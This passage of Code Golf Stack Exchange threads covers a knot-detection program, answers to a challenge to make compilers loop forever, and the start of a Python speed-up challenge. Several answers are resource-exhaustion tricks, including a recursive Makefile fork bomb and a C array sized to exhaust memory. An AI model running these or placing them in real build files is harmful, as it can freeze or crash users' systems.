if{A}-V:V|={A};Q+=[[c,d,a,b]+e,A,A[2:]+A[:2]][a<c<b<d:][c<a<d<b:] if b==d:Q=[[a,c]+e] exit('KNOT') ``` ## Huh? The program first converts the knot to a rectangular diagram, which has the following restrictions: 1. No two vertical or horizontal segments lie on the same line. 2. No vertical segment crosses over a horizontal segment. For example, the first test case is converted to the following rectangular diagram: ``` +-----------+ | | | | +-------+ | | | | | +-------+ | | | | | | | | | | | +---+ | | | | | | | | | | | +---+ | | | | | | | | +-------+ | | | | | | +-----+ | | | | | | | | | | | +---+ | | | | | | | | | | | +-------------+ | | | | | | | | | | | +---+ | | | | | | | | | | | +---+ | | | | +-+ | | | | +-+ ``` which we uniquely represent by the sequence of y coordinates of the vertical segments, from right to left: ``` (5,10, 1,9, 8,10, 9,12, 5,12, 1,4, 0,3, 2,4, 3,7, 6,8, 7,11, 2,11, 0,6) ``` It then searches for simplifications of the rectangular diagram as described in [Ivan Dynnikov, “Arc-presentations of links. Monotonic simplification”, 2004](https://arxiv.org/abs/math/0208153). Dynnikov proved that from any rectangular diagram of the unknot, there is a sequence of simplifying moves that ends at the trivial diagram. Briefly, the allowed moves include: 1. Cyclically permuting the vertical (or horizontal) segments; 2. Swapping consecutive vertical (or horizontal) segments under certain configuration constraints. 3. Replacing three adjacent vertices that lie in the very corner of the diagram with one vertex. See the paper for pictures. This is not an obvious theorem; it does not hold if, say, Reidemeister moves that do not increase the number of crossings are used instead. But for the particular kinds of simplifications above, it turns out to be true. (We simplify the implementation by only permuting vertical segments, but also allowing the entire knot to be transposed to interchange horizontal with vertical.) ## Demo ``` $ python3 knot.py <<EOF +-------+ +-------+ | | | | | +---|----+ +-------+ | | | | | | +-------|------------|---+ | | | | +---+ +---+ EOF KNOT $ python3 knot.py <<EOF +----------+ | | | +--------------+ | | | | | | +-|----+ | | | | | | | | +-----+ | | | | | | | +------|---+ | | +---------------+ EOF NOT $ python3 knot.py <<EOF # the Culprit +-----+ | | +-----------+ | | | | | | +-+ | +---|-+ | | | | | | | | | +-|-------+ | | | | | | | | | | +-|-+ | | +---+ | | | | | +---|---------+ | | +-+ EOF NOT $ python3 knot.py <<EOF # Ochiai unknot +-----+ | | +-|---------+ | | | | | | +-+ | | | | | | | | +-|-|---|-|-+ | | | | | | | | | | | | +---|---+ | | | | | | +-------+ | | | | | | | +-------+ | | +-------+ EOF NOT $ python3 knot.py <<EOF # Ochiai unknot plus trefoil +-----+ +-----+ | | | | +-|---------+ | | | | | | | | | +-+ | +---+ | | | | | | | | | +-|-|---|-|-+ +---+ | | | | | | | | | | | +---|-----+ | | | | | | +-------+ | | | | | | | +-------+ | | +-------+ EOF KNOT $ python3 knot.py <<EOF # Thistlethwaite unknot +---------+ | | +---+ +---------+ | | | | | | | +-------+ | | | | | | | | | | | +---+ | | | | | | | | | +-------+ | | | | | | | | +-------+ | | | | | | | | +-----------+ | | | | | | | | | | | +-----------+ | | | | | | | | | | | +-------------+ | | | | | | | +-----+ | | | | | | +---+ | | | | +---------------------+ | | | +---------------------+ EOF NOT $ python3 knot.py <<EOF # (−3,5,7)-pretzel knot +-------------+ | | +-|-----+ | | | | | +-|-+ +-------+ | | | | | | | +-|-+ +---+ +---+ | | | | | | | | +---+ +---+ | | | | | | | | +---+ +---+ | | | | | | | +---+ +---+ | | | | | | +---+ | | | | | | +---+ | | | | | +---+ | | +-----+ EOF KNOT $ python3 knot.py <<EOF # Gordian unknot +-------------+ +-------------+ | | | | | +---------+ | | +---------+ | | | | | | | | | | | +-------------+ +-------------+ | | | | | | | | | | | | | | | | | +---------+ | | +---------+ | | | | | | | | | | | | | | | | | | | | +-------+ | +-------+ +-------+ | +-------+ | | | | | | | | | | | | | | | | | +-------+ | +-------+ | | +-------+ | +-------+ | | | | | | | | | | | | | | | | | +-------+ | | | | | | | | +-------+ | | | | | | | | | | | | | | | | | +-------+ | | | | | | | | | | +-------+ | | | | | | | | | | | | | | | | | +-----+ | | | | | | +-----+ | | | | | | | | | | | | | +---------+ | | | | +---------+ | | | | | | | | +---------+ | | +---------+ | | | | | | | | | | +-----------------+ | | | | | | | | | +---------------------+ | | | | | +-----------+ +-----------+ EOF NOT ``` ]
[Question] [ I'm a developer, and I don't feel like doing my work. I know from XKCD that the best excuse for slacking off is that [your code's compiling](https://xkcd.com/303). Because of this, I think I need some code that will *compile forever!* And because I'm lazy and don't want to have to type much, this has to be done with the shortest code possible. So, your task is to write a program that is syntactically valid, but will cause the compiler to enter an infinite loop. ## Specifications * You must use a language that has a compiler, obviously. * Specify the implementation used in each solution. * This is [code-golf](/questions/tagged/code-golf "show questions tagged 'code-golf'"), so the shortest valid solution (in bytes) wins. * The compiler can terminate from running out of memory or stack space. [Answer] # TikZ (pdfTeX 3.14159265-2.6-1.40.17), ~~85~~ ~~79~~ ~~74~~ ~~24~~ ~~22~~ 21 bytes *A bunch of bytes saved thanks to wchargin* *One byte saved thanks to Chris H* ``` \input tikz \tikz\pic ``` I actually encountered this one by accident when I was working on homework. I spent quite a while waiting for it to compile before I realized what was happening. This has two parts: ``` \input tikz ``` This loads the TikZ package and: ``` \tikz\pic ``` This starts a `\tikz` environment and a draw command. ## What is going on The pdflatex compiler has trouble with `\tikz\pic`, and enters interactive mode causing it to stall indefinitely. [Answer] # Java, ~~102~~ ~~95~~ ~~89~~ ~~88~~ 78 bytes ``` class A<T>{}class B<T>extends A<A<?super B<B<T>>>>{A<?super B<A>>a=new B<>();} ``` This terminates with a `StackOverflowError` which happens because the generic resolution system can't decide a root against which to resolve the other generics. [Credits where due](https://www.reddit.com/r/programming/comments/mlbna/scala_feels_like_ejb_2/c31z0co/). ## What happens here? 1. `A<T>` is just there to have a 1-letter parent. It's generic. I could have used `List`, but the imports and repetition of 4 letters are too long. 2. `B<T>` declares a basic generic. 3. `B extends A` is required to have a hierarchy between `B` and `A`. 4. `extends A<A>` creates a self reference on `A<T>`. 5. `A<? super B>` triggers the lookup for generics on `A<T>` 6. `B<B<T>>` creates a self-reference on `B<T>`. 7. `A<...> a=new B<>()` forces the usage of the generics, instead of simply the definition of those, forcing the resolution when compiling `B`, and not afterwards. 8. `A<?super B` creates a non-self-reference, so we have both a reference to one type and to another in the generics of `A`. 9. `B<A>` creates a non-self-reference, so we have both a reference to one type and to another in the generics of `B`. Now, the type `A` has generics type `A` and `B`, but which is to be chosen? Forget about self, let's try to resolve `B`. Ping. Okay, `B` has generics type `A` and `B`, but which is to be chosen? Forget about self, let's try to resolve `A`. Pong. This kind of recursion can't really be avoided because there are legitimate cases like `A<B<A<B<A<B<Object>>>>>>`: for example a JSON object: `List<Map<String,Map<String,List<Map<String,List<String>>>>>>`. ## Compilation result ``` $ javac NoCompile.java The system is out of resources. Consult the following stack trace for details. java.lang.StackOverflowError at com.sun.tools.javac.code.Types$UnaryVisitor.visit(Types.java:3260) at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2587) at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2579) at com.sun.tools.javac.code.Type$ClassType.accept(Type.java:554) at com.sun.tools.javac.code.Types$UnaryVisitor.visit(Types.java:3260) at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2592) at com.sun.tools.javac.code.Types$23.visitClassType(Types.java:2579) at com.sun.tools.javac.code.Type$ClassType.accept(Type.java:554) ``` On my system, the stack trace stops after showing 1024 lines, which are actually the 4 same lines repeated 256 times, thus proving an infinite recursion. I'll spare you that whole trace. ## Savings 1. 102 → 95 bytes: replaced `interface`+`implements` with `class`+`extends`. 2. 95 → 89 bytes: replaced `Long` with `A` (twice). 3. 89 → 88 bytes: used diamond operator (`new B<A>()` → `new B<>()`) . 4. 88 → 78 bytes: moved the variable declaration to a class member, thanks to [VoteToClose](https://codegolf.stackexchange.com/users/44713/votetoclose). [Answer] ## C, 18 bytes ``` #include __FILE__ ``` Compilers will usually give up after recursing about 200 times. Does DOM construction count as a compilation step? If so, then `x.htm`: ``` <iframe src=x.htm> ``` [Answer] ## GNU Makefile, ~~8~~ 7 bytes *One byte saved thanks to KonradRudolph* Saved as `Makefile` and invoked by `make`: ``` x:;make ``` This will produce an infinite build recursion on the first target found `"x"`. Needless to say that you don't *really* want to run this fork bomb on your production server. :-) ``` make make[1]: Entering directory `/path/to/my/dir' make make[2]: Entering directory `/path/to/my/dir' make make[3]: Entering directory `/path/to/my/dir' make make[4]: Entering directory `/path/to/my/dir' make make[5]: Entering directory `/path/to/my/dir' make make[6]: Entering directory `/path/to/my/dir' make make[7]: Entering directory `/path/to/my/dir' make ... ``` ### Alternate version, 5 bytes Suggested by KonradRudolph: ``` x:;$_ ``` `$_` is a reference to the last argument of the previous command. More specifically, it is resolved here as the absolute path to the command being executed -- which is `make` itself. This should work fine in a genuine Bash environment, but not on Windows+MinGW. [Answer] # [Perl](https://www.perl.org/), ~~15~~ 13 bytes ``` BEGIN{{redo}} ``` [Try it online!](https://tio.run/nexus/perl#@@/k6u7pV11dlJqSX1v7//9/3WQA) Now with 2 bytes saved: @Zaid reminded me of a terser way to do a loop in Perl. This is pretty simple: it just installs a parser hook with an infinite loop in, making the code take infinitely long to parse. (Perl's nice in that it allows you to run arbitrary code in the middle of the parse; the parser hooks are specified in Perl itself, and frequently used to do things like import libraries or change the parsing rules for an identifier you want to treat like a keyword.) The Try it online! link above gives the `-c` option (to compile the code to verify the syntax for correctness, but not run it), to prove that the infinite loop happens at compile time. In case you're wondering about "compile time" in a scripting language: Perl actually compiles to bytecode and then runs the bytecode, but this is a detail that's rarely relevant when programming it. The `-MO=` command line option family can be used to do things with the bytecode other than running it (although not with this program, as the infinite loop happens before the bytecode can be generated). [Answer] # C++, 60 58 ``` template<class T>class a{a<T*>operator->();};a<int>i=i->b; ``` This recursivly creates instances of `class a` with different template parameters. GCC 7.0 stops after 900 recursion levels with tons of errors about `operator->` being private but for example ICC 17 and Microsoft (R) C/C++ Optimizing Compiler 19 time out [on godbolt](https://godbolt.org/g/AQAax0). Problem with that is that probably all compilers will run out of memory at some point in time so even without recursion limits this will stop. The same probably applies to the Clojure answer, too. Edit: 2 bytes saved by bolov - Thanks [Answer] # C++, ~~37~~ ~~30~~ 29 bytes ``` int f(auto p){f(&p);},a=f(0); ``` It uses the future auto function parameter. It was proposed into C++17, but I don't think it made it. `gcc` however supports it as an extension. Basically ``` void foo(auto p); ``` is equivalent to ``` template <class T> void foo(T p); ``` The code tries to instantiate `f` recursively with different template arguments. `gcc` fails with > > fatal error: template instantiation depth exceeds maximum of 900 (use > -ftemplate-depth= to increase the maximum) > > > With `-ftemplate-depth=10000` I got it to spit "Killed - processing time exceeded" on godbolt. Check it [on godbolt](https://godbolt.org/g/VO33U5) --- 1 byte saved by Quentin. Thank you. [Answer] ## Common Lisp, 8 bytes ``` #.(loop) ``` The compiler will try to read a form and will encounter the [sharpsign-dot](http://www.lispworks.com/documentation/HyperSpec/Body/02_dhf.htm) reader macro, which evaluates code at *read time* and uses its result as the form to compile. Here, the code being executed is an infinite loop. [Answer] # [Japt](https://github.com/ETHproductions/japt), 2 bytes ``` `ÿ ``` You can test this online [here](http://ethproductions.github.io/japt/), but I wouldn't recommend it as it will freeze your browser. ### Explanation Japt uses the [shoco library](http://ed-von-schleck.github.io/shoco/) for compressing strings. A backtick tells the compiler to decompress everything until the next backtick or the end of the file. Each byte does the following: * `00-7F` are left intact. * `80-BF` each transform into a common lowercase two-letter pair (`at`, `oo`, `th`, etc.). * `C0-DF` each consume the next byte and transform into a [common four-letter string](https://gist.githubusercontent.com/ETHproductions/7057e4d1de35c7e42dc9aa88f3145e8e/raw/779306fc81597dd792e102efed83474616d0e86d/2-char.txt). * `E0-EF` each consume the next *three* bytes and transform into a "common" eight-letter string (starting at `Whererer` and going downhill from there). * `F0-F7` break the decompressor, though it still returns everything up to the breaking byte. * `F8-FF` cause the decompressor to enter into an infinite loop. I'm not sure why this is, as I'm not very familiar with the inner workings of the shoco library (and [the JavaScript code is completely unreadable](https://github.com/ETHproductions/japt/blob/master/dependencies/shoco.js)), but it's quite handy in this case. I don't believe there is any other way to mess with the Japt compiler, but you never know... [Answer] ## TeX, 9 bytes ``` \def~{~}~ ``` TeX works by expanding macros. Most of the time, TeX's macros (also called *control sequences*) are of the form `\name` but it is also possible to define certain characters as macros, these are called *active characters*. The character `~` is active by default in plain TeX and so can be used as a macro name without further declaration. The `\def~{~}` in the above defines `~` so that it expands to `~`. That is, whenever TeX encounters `~` then it replaces it by `~` and then re-examines the replacement, meaning that it encounters a wholly new occurrence of `~` and replaces that by `~`. This defines the infinite loop. All that is then needed is to start the loop and that's what the final `~` does. --- *Added in edit* To make this properly *compiled*, invoke as: ``` pdftex -ini "&pdftex \def~{~}~" ``` The `-ini` flag says that `pdftex` should *compile* a new format file. This is a precompiled set of definitions which can be loaded when TeX is later invoked to speed up processing a document (LaTeX2e is an example of this). I guess that the `&pdftex` adds a few bytes, taking the total to 17. [Answer] ## Haskell, 25+17=42 bytes ``` a= $(let a='a':a in[|a|]) ``` A simple Haskell metaprogram which defines an infinite value and attempts to compute that value at compile time. Invoke with `ghc -XTemplateHaskell <file.hs>` (+17 for the parameter to the compiler) [Answer] # gradle, 10 9 bytes ``` for(;;){} ``` with the above code placed in a `build.gradle` file. Gradle uses groovy as its base language so we are really talking about groovy here, but as the question was about build time I figured gradle would be more appropriate. Running any gradle build commands with the above code prints the pointy-haired-boss-compatible build status line: ``` $ gradle tasks > Configuring > 0/1 projects > root project ``` if you are aiming for a raise, add the debug `-d` flag for: ``` $ gradle -d tasks 14:56:25.522 [INFO] [org.gradle.internal.nativeintegration.services.NativeServices] Initialized native services in: .gradle/native 14:56:25.757 [DEBUG] [org.gradle.launcher.daemon.client.DaemonClient] Executing build 84908c0d-f28d-4c57-be61-40eaf0025e16.1 in daemon client {pid=27884} 14:56:25.761 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding IP addresses for network interface tun0 14:56:25.762 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Is this a loopback interface? false 14:56:25.762 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Is this a multicast interface? false 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding remote address /x:x:x:x:x:x:%tun0 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding remote address /x.x.x.x 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding IP addresses for network interface eth1 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Is this a loopback interface? false 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Is this a multicast interface? true 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding remote address /x:x:x:x:x:x:%eth1 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding remote address /x.x.x.x 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding remote multicast interface eth1 14:56:25.764 [DEBUG] [org.gradle.internal.remote.internal.inet.InetAddresses] Adding IP addresses for network interface lo <snip> 14:57:07.055 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Releasing lock on daemon addresses registry. 14:57:07.056 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Waiting to acquire shared lock on daemon addresses registry. 14:57:07.056 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Lock acquired. 14:57:07.056 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Releasing lock on daemon addresses registry. > Configuring > 0/1 projects > root project ``` which in addition to looking impressively complicated also updates with a new set of: ``` 15:07:57.054 [DEBUG] [org.gradle.launcher.daemon.server.Daemon] DaemonExpirationPeriodicCheck running 15:07:57.054 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Waiting to acquire shared lock on daemon addresses registry. 15:07:57.054 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Lock acquired. 15:07:57.055 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Releasing lock on daemon addresses registry. 15:07:57.055 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Waiting to acquire shared lock on daemon addresses registry. 15:07:57.055 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Lock acquired. 15:07:57.055 [DEBUG] [org.gradle.cache.internal.DefaultFileLockManager] Releasing lock on daemon addresses registry. ``` status lines every 10 seconds making it look like the build is busy doing important technical...stuff. [Answer] # SWI-Prolog, 34 bytes ``` term_expansion(_,_):-repeat,1=0. ``` ### Explanation `term_expansion/2` is something that gets called automatically by the compiler before actually compiling code to transform some terms in the source code into other terms. Here, we introduce a new rule for `term_expansion/2`: `repeat,1=0.`. `repeat/0` is a predicate which always succeeds, and provides an infinite number of choice points. `1=0` is trying to unify `1` with `0`, which is always `false`. This will cause the compiler to backtrack to `repeat` (since it always provides a choice point) and try `1=0` again, etc. [Answer] # GNU Make, 44 ``` .PHONY:x $(MAKEFILE_LIST):x;sleep 1;touch $@ ``` I can't claim credit for this. It is derived from [Robert Mecklenburg's book *Managing Projects with GNU Make: The Power of GNU Make for Building Anything*](https://books.google.com/books?id=rL4GthWj9kcC&pg=PA56&lpg=PA56&dq=makefile%20infinite%20loop&source=bl&ots=6CXf0yp8-3&sig=LjM5ogv4zWRT8M8ANASRxkiEQF8&hl=en&sa=X&ved=0ahUKEwjmgKuiwZbSAhVH5mMKHb7_BoA4ChDoAQg4MAU#v=onepage&q=makefile%20infinite%20loop&f=false). > > When make executes this makefile, it sees the makefile is out of date (because the .PHONY target is out of date, so it executes the touch command, which updates the timestamp of the makefile. Then make re-reads the file and discovers the makefile is out of date.... Well you get the idea. > > > I prefer this to [the other Make answer](https://codegolf.stackexchange.com/a/110237/11259) because it does not use recursion. On my VM, the other Make answer continues forking processes and at somewhere around 7,000 deep, the VM grinds to an unresponsive halt. However, with this answer it is able to continue indefinitely without eating up system resources. You really will be able to slack off with this build. I've gone over 1,000,000 iterations with no apparent system degradation. Note I had to add the `sleep 1` so that the makefile timestamp is actually updated every time. You can change this to `sleep 0.01` if you want it to burn through iterations a bit faster. [Answer] # GNU Forth, 15 bytes **Golfed** ``` : : [do] [loop] ``` Re-defines (re-compiles) the word `:` and invokes an immediate infinite loop `[do] [loop]` inside the new definition (right at the compile time). > > One category of words don't get compiled. These so-called immediate words get executed (performed now) regardless of whether the text interpreter is interpreting or compiling. > > > [Try It Online !](https://tio.run/nexus/forth-gforth#@2@lYKUQnZIfqxCdk59fEPv/PwA) [Answer] # C, 31 bytes (16 + 15 for `-mcmodel=medium`) ``` main[-1llu]={1}; ``` [Inspired by Digital Trauma](https://codegolf.stackexchange.com/a/69193/61563). Compile with the `-mcmodel=medium` flag. Good luck compiling this, you'll need 1.8 yottabytes of RAM and disk space. [Answer] # Clojure, 21 bytes ``` (defmacro a[]`(a))(a) ``` Ties up the compiler by defining a macro that repeatedly emits calls to itself. On my phone, this causes the REPL to hang and lag the device. On my laptop, this fails outright with a StackOverflow. Unfortunately the StackOverflow happens instantly, but it's still valid according to the rules. [Answer] ## Haskell (GHC, *without* Template Haskell or custom rewrite rules), 138 ``` {-#LANGUAGE FlexibleContexts,UndecidableInstances#-} data A x=A class C y where y::y instance C(A(A x))=>C(A x)where y=A main|A<-y=pure() ``` Theoretically, this enters an infinite loop in much the same way [the C++ approach does](https://codegolf.stackexchange.com/a/110222/2183): the polymorphic method `y` is instantiated to ever more convoluted types. In practice, the default allotted stack size actually overflows quickly: ``` $ ghc-7.10 wtmpf-file14146.hs [1 of 1] Compiling Main ( wtmpf-file14146.hs, wtmpf-file14146.o ) wtmpf-file14146.hs:5:9: Context reduction stack overflow; size = 101 Use -fcontext-stack=N to increase stack size to N C (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A (A t0)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) In a stmt of a pattern guard for an equation for ‘main’: A <- y In an equation for ‘main’: main | A <- y = pure () ``` [Credits to Luke Palmer](https://stackoverflow.com/a/42356385/745903). [Answer] # MSBuild, 130 bytes ``` <Project xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> <Target Name="X"> <Exec Command="msbuild"/> </Target> </Project> ``` Save this as a file with `.proj` extension, and run with `msbuild` from the command prompt. MSBuild will run its only target which simply spawns another `msbuild` process. [Answer] ## Mathematica 33 Bytes ``` Compile[{},Evaluate@While[True,]] ``` The code will attempt to symbolically evaluate the argument prior to compilation, and the argument itself is an infinite loop. The While function has a null second argument since it's not important. [Answer] # Haskell (ghc), 32 + 2 = 34 bytes ``` {-#RULES""main=main#-} main=main ``` run with `ghc -O <file>`. Triggers a rewrite rule for the main function which rewrites to the same thing. The only unfortunate feature is that ghc is smart enough to detect this and stop after 100 iterations. I don't know of an easy way to disable this behavior. [Answer] ## Rust, 18 bytes ``` include!(file!()); ``` Classic self-include. Rustc is annoyingly sane though, and by default will bail out after 128 recursions, and it expands depth-first so exponential growth doesn't work either. The same applies to the C and C++ solutions though. [Answer] # [Factor](http://factorcode.org), ~~29~~ 16 ``` << [ t ] loop >> ``` The part between `<<` `>>` is executed at parse time. As for what `[ t ] loop` does, I'll let you guess... You can put that in the Listener as is, or add it to any vocabulary or script file with the corresponding boilerplate stuff. [Answer] # Boo, 25 bytes ``` macro l: x=0 while 1>0 l ``` This defines a macro, which executes at compile time, which executes an infinite loop, and then invokes the macro. [Answer] # PHP, 19 bytes ``` <?include __FILE__; ``` [Answer] # [Nim](http://nim-lang.org/), 25 bytes ``` static: while 0<1:echo 2 ``` [Try it online!](https://tio.run/##y8vM/f@/uCSxJDPZikuhPCMzJ1XBwMbQKjU5I1/B6P9/AA "Nim – Try It Online") Compile with `--maxLoopIterationsVM:10000000000000000`. The compiler on TIO is old and doesn't support this flag. [Answer] # [Julia 1.0](http://julialang.org/), 16 bytes ``` @generated !x=!x ``` not a full program but a function, since Julia compiles functions the first time they are called I'm pretty sure that's a compile-time infinite loop, since `@code_llvm` (which only compiles the function whithout executing it) also loops forever [Try it online!](https://tio.run/##yyrNyUw0rPj/3yE9NS@1KLEkNUVBscJWseJ/aXFmXrqCZ14JUDS5JLMsNbQkM6eYyyE5PyU1PienLFdB0fA/AA "Julia 1.0 – Try It Online") [Answer] # Scala 3, 47 bytes ``` type T[X]=X match{case 1=>T[X]} val x:T[1]= ??? ``` [Try it in Scastie!](https://scastie.scala-lang.org/ixl4VHQ1RDSmzRF7FeZTDw) Terminates saying "Recursion limit exceeded." ]
[Question] [ I have this code which I have written in Python/NumPy ``` from __future__ import division import numpy as np import itertools n = 6 iters = 1000 firstzero = 0 bothzero = 0 """ The next line iterates over arrays of length n+1 which contain only -1s and 1s """ for S in itertools.product([-1, 1], repeat=n+1): """For i from 0 to iters -1 """ for i in xrange(iters): """ Choose a random array of length n. Prob 1/4 of being -1, prob 1/4 of being 1 and prob 1/2 of being 0. """ F = np.random.choice(np.array([-1, 0, 0, 1], dtype=np.int8), size=n) """The next loop just makes sure that F is not all zeros.""" while np.all(F == 0): F = np.random.choice(np.array([-1, 0, 0, 1], dtype=np.int8), size=n) """np.convolve(F, S, 'valid') computes two inner products between F and the two successive windows of S of length n.""" FS = np.convolve(F, S, 'valid') if FS[0] == 0: firstzero += 1 if np.all(FS == 0): bothzero += 1 print("firstzero: %i" % firstzero) print("bothzero: %i" % bothzero) ``` It is counting the number of times the convolution of two random arrays, one which is one longer than the other, with a particular probability distribution, has a 0 at the first position or a 0 in both positions. I had a bet with a friend who says Python is a terrible language to write code in that needs to be fast. It takes 9s on my computer. He says it could be made 100 times faster if written in a "proper language". The challenge is to see if this code can indeed by made 100 times faster in any language of your choice. I will test your code and the fastest one week from now will win. If anyone gets below 0.09s then they automatically win and I lose. **Status** * **Python**. 30 times speed up by Alistair Buxon! Although not the fastest solution it is in fact my favourite. * **Octave**. 100 times speed up by @Thethos. * **Rust**. 500 times speed up by @dbaupp. * **C++**. 570 times speed up by Guy Sirton. * **C**. 727 times speed up by @ace. * **C++**. Unbelievably fast by @Stefan. The fastest solutions are now too fast to sensibly time. I have therefore increased n to 10 and set iters = 100000 to compare the best ones. Under this measure the fastest are. * **C**. 7.5s by @ace. * **C++**. 1s by @Stefan. **My Machine** The timings will be run on my machine. This is a standard ubuntu install on an AMD FX-8350 Eight-Core Processor. This also means I need to be able to run your code. **Follow up posted** As this competition was rather too easy to get a x100 speedup, I have posted a followup for those who want to exercise their speed guru expertise. See [How Slow Is Python Really (Part II)?](https://codegolf.stackexchange.com/questions/26371/how-slow-is-python-really-part-ii) [Answer] # Python2.7 + Numpy 1.8.1: 10.242 s # Fortran 90+: ~~0.029 s~~ ~~0.003 s~~ ~~0.022 s~~ 0.010 s Damn straight you lost your bet! Not a drop of parallelization here too, just straight Fortran 90+. **EDIT** I've taken Guy Sirton's algorithm for permuting the array `S` (good find :D). I apparently also had the `-g -traceback` compiler flags active which were slowing this code down to about 0.017s. Currently, I am compiling this as ``` ifort -fast -o convolve convolve_random_arrays.f90 ``` For those who don't have `ifort`, you can use ``` gfortran -O3 -ffast-math -o convolve convolve_random_arrays.f90 ``` **EDIT 2**: The decrease in run-time is because I was doing something wrong previously and got an incorrect answer. Doing it the right way is apparently slower. I still can't believe that C++ is faster than mine, so I'm probably going to spend some time this week trying to tweak the crap out of this to speed it up. **EDIT 3**: By simply changing the RNG section using one [based on BSD's RNG](http://www.gnu.org/software/gsl/manual/html_node/Unix-random-number-generators.html) (as suggested by Sampo Smolander) and eliminating the constant divide by `m1`, I cut the run-time to the same as the [C++ answer by Guy Sirton](https://codegolf.stackexchange.com/a/26336/11376). Using static arrays (as suggested by Sharpie) drops the run-time to under the C++ run-time! Yay Fortran! :D **EDIT 4** Apparently this doesn't compile (with gfortran) and run correctly (incorrect values) because the integers are overstepping their limits. I've made corrections to ensure it works, but this requires one to have either ifort 11+ or gfortran 4.7+ (or another compiler that allows `iso_fortran_env` and the F2008 `int64` kind). Here's the code: ``` program convolve_random_arrays use iso_fortran_env implicit none integer(int64), parameter :: a1 = 1103515245 integer(int64), parameter :: c1 = 12345 integer(int64), parameter :: m1 = 2147483648 real, parameter :: mi = 4.656612873e-10 ! 1/m1 integer, parameter :: n = 6 integer :: p, pmax, iters, i, nil(0:1), seed !integer, allocatable :: F(:), S(:), FS(:) integer :: F(n), S(n+1), FS(2) !n = 6 !allocate(F(n), S(n+1), FS(2)) iters = 1000 nil = 0 !call init_random_seed() S = -1 pmax = 2**(n+1) do p=1,pmax do i=1,iters F = rand_int_array(n) if(all(F==0)) then do while(all(F==0)) F = rand_int_array(n) enddo endif FS = convolve(F,S) if(FS(1) == 0) then nil(0) = nil(0) + 1 if(FS(2) == 0) nil(1) = nil(1) + 1 endif enddo call permute(S) enddo print *,"first zero:",nil(0) print *," both zero:",nil(1) contains pure function convolve(x, h) result(y) !x is the signal array !h is the noise/impulse array integer, dimension(:), intent(in) :: x, h integer, dimension(abs(size(x)-size(h))+1) :: y integer:: i, j, r y(1) = dot_product(x,h(1:n-1)) y(2) = dot_product(x,h(2:n )) end function convolve pure subroutine permute(x) integer, intent(inout) :: x(:) integer :: i do i=1,size(x) if(x(i)==-1) then x(i) = 1 return endif x(i) = -1 enddo end subroutine permute function rand_int_array(i) result(x) integer, intent(in) :: i integer :: x(i), j real :: y do j=1,i y = bsd_rng() if(y <= 0.25) then x(j) = -1 else if (y >= 0.75) then x(j) = +1 else x(j) = 0 endif enddo end function rand_int_array function bsd_rng() result(x) real :: x integer(int64) :: b=3141592653 b = mod(a1*b + c1, m1) x = real(b)*mi end function bsd_rng end program convolve_random_arrays ``` I suppose the question now is will you stop using slow-as-molasses Python and use fast-as-electrons-can-move Fortran ;). [Answer] # C++ bit magic ## 0.84ms with simple RNG, 1.67ms with c++11 std::knuth 0.16ms with slight algorithmic modification (see edit below) The python implementation runs in 7.97 seconds on my rig. So this is 9488 to 4772 times faster depending on what RNG you choose. ``` #include <iostream> #include <bitset> #include <random> #include <chrono> #include <stdint.h> #include <cassert> #include <tuple> #if 0 // C++11 random std::random_device rd; std::knuth_b gen(rd()); uint32_t genRandom() { return gen(); } #else // bad, fast, random. uint32_t genRandom() { static uint32_t seed = std::random_device()(); auto oldSeed = seed; seed = seed*1664525UL + 1013904223UL; // numerical recipes, 32 bit return oldSeed; } #endif #ifdef _MSC_VER uint32_t popcnt( uint32_t x ){ return _mm_popcnt_u32(x); } #else uint32_t popcnt( uint32_t x ){ return __builtin_popcount(x); } #endif std::pair<unsigned, unsigned> convolve() { const uint32_t n = 6; const uint32_t iters = 1000; unsigned firstZero = 0; unsigned bothZero = 0; uint32_t S = (1 << (n+1)); // generate all possible N+1 bit strings // 1 = +1 // 0 = -1 while ( S-- ) { uint32_t s1 = S % ( 1 << n ); uint32_t s2 = (S >> 1) % ( 1 << n ); uint32_t fmask = (1 << n) -1; fmask |= fmask << 16; static_assert( n < 16, "packing of F fails when n > 16."); for( unsigned i = 0; i < iters; i++ ) { // generate random bit mess uint32_t F; do { F = genRandom() & fmask; } while ( 0 == ((F % (1 << n)) ^ (F >> 16 )) ); // Assume F is an array with interleaved elements such that F[0] || F[16] is one element // here MSB(F) & ~LSB(F) returns 1 for all elements that are positive // and ~MSB(F) & LSB(F) returns 1 for all elements that are negative // this results in the distribution ( -1, 0, 0, 1 ) // to ease calculations we generate r = 